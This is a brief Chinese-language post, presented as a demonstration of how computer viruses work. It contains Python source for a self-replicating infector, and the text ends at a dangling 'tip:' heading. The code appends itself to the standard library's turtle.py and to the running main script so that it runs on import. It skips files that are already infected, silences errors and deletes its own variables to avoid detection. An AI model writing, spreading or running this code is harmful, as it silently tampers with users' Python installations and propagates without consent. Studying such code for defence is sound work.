我设计一个病毒程序, 演示计算机病毒的工作原理。
# mark是木马的标识
mark="#####MyPython####"#v1.0.1
code=''
# 获取木马的程序代码
with open(__file__,encoding="utf-8") as f:
for line in f:
if mark in line.strip():
code=line+f.read()
# 复制木马自身
def spread(mod):
file=__import__(mod).__file__
# 判断文件中是否已存在木马
with open(file,'r',encoding='utf-8') as f:
for line in f:
if mark in line:return
# 将代码写入文件末尾
with open(file,'a',encoding='utf-8') as f:
f.write(code)
try:
# 将代码写入python标准库的turtle.py
# 这样用户调用import turtle时, 会自动执行木马
spread('turtle')
# 复制木马到正在运行的主程序
spread('__main__')
except:pass
# 在turtle.py中, 防止木马被发现
del spread,code,mark,f,line
技巧: